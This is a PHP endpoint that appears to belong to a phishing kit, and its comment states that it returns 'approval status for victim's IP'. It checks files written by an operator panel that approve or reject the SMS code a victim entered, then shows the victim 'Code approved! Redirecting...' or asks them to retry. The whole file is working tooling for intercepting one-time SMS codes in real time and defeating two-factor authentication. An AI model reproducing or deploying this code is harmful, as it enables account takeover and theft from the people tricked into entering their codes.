<?php
/**
 * Check SMS Approval API
 * Returns approval status for victim's IP
 */

define('APP_ACCESS', true);
require_once __DIR__ . '/../../config/config.php';
require_once __DIR__ . '/../../includes/functions.php';

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');

$ip = getClientIP();
$response = [
    'approved' => false,
    'rejected' => false,
    'message' => 'Waiting for approval...'
];

// Check if approved
$approvalFile = BASE_PATH . '/Panel/action/sms_approved_' . md5($ip) . '.txt';
if (file_exists($approvalFile)) {
    $data = json_decode(file_get_contents($approvalFile), true);
    
    // Check if approval is still valid (within 5 minutes)
    if (isset($data['timestamp']) && (time() - $data['timestamp']) < 300) {
        $response['approved'] = true;
        $response['message'] = 'Code approved! Redirecting...';
        $response['code'] = $data['code'] ?? '';
        
        // Delete approval file after use
        @unlink($approvalFile);
        
        echo json_encode($response);
        exit;
    } else {
        // Expired approval
        @unlink($approvalFile);
    }
}

// Check if rejected
$rejectionFile = BASE_PATH . '/Panel/action/sms_rejected_' . md5($ip) . '.txt';
if (file_exists($rejectionFile)) {
    $data = json_decode(file_get_contents($rejectionFile), true);
    
    // Check if rejection is still valid (within 5 minutes)
    if (isset($data['timestamp']) && (time() - $data['timestamp']) < 300) {
        $response['rejected'] = true;
        $response['message'] = 'Invalid code. Please try again.';
        
        // Delete rejection file after use
        @unlink($rejectionFile);
        
        echo json_encode($response);
        exit;
    } else {
        // Expired rejection
        @unlink($rejectionFile);
    }
}

// Still waiting
echo json_encode($response);
?>
